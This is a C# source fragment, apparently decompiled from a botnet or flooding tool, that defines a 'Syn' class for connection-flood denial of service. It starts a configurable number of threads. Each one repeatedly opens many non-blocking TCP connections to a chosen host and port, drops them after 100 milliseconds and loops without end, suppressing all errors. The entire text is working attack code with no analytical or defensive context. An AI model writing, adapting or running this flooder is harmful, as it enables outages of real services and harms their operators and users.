- class Syn
- {
- private static ThreadStart[] thrdstart;
- private static Thread[] thrd;
- public static string host;
- private static IPEndPoint ipend;
- public static int port;
- private static SendSyn[] sndsyn;
- public static int loc;
- public static int synint;
- public static void syner()
- {
- try
- {
- ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
- }
- catch
- {
- ipend = new IPEndPoint(IPAddress.Parse(host), port);
- }
- thrd = new Thread[synint];
- thrdstart = new ThreadStart[synint];
- sndsyn = new SendSyn[synint];
- for (int i = 0; i < synint; i++)
- {
- sndsyn[i] = new SendSyn(ipend, loc);
- thrdstart[i] = new ThreadStart(sndsyn[i].synthrd);
- thrd[i] = new Thread(thrdstart[i]);
- thrd[i].Start();
- }
- }
- public static void synstop()
- {
- for (int i = 0; i < synint; i++)
- {
- try
- {
- thrd[i].Abort();
- }
- catch
- {
- }
- }
- }
- private class SendSyn
- {
- private IPEndPoint synend;
- private Socket[] synsock;
- private int synint;
- public SendSyn(IPEndPoint ipEo, int ar)
- {
- synend = ipEo;
- synint = ar;
- }
- public void synrslt(IAsyncResult ar)
- {
- }
- public void synthrd()
- {
- int eye = 0;
- Label_0000:
- try
- {
- synsock = new Socket[synint];
- for (eye = 0; eye < synint; eye++)
- {
- synsock[eye] = new Socket(synend.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
- synsock[eye].Blocking = false;
- AsyncCallback async = new AsyncCallback(synrslt);
- synsock[eye].BeginConnect(synend, async, synsock[eye]);
- }
- Thread.Sleep(100);
- for (eye = 0; eye < synint; eye++)
- {
- if (synsock[eye].Connected)
- {
- synsock[eye].Disconnect(false);
- }
- synsock[eye].Close();
- synsock[eye] = null;
- }
- synsock = null;
- goto Label_0000;
- }
- catch
- {
- for (eye = 0; eye < synint; eye++)
- {
- try
- {
- if (synsock[eye].Connected)
- {
- synsock[eye].Disconnect(false);
- }
- synsock[eye].Close();
- synsock[eye] = null;
- }
- catch
- {
- }
- }
- goto Label_0000;
- }
- }
- }
- }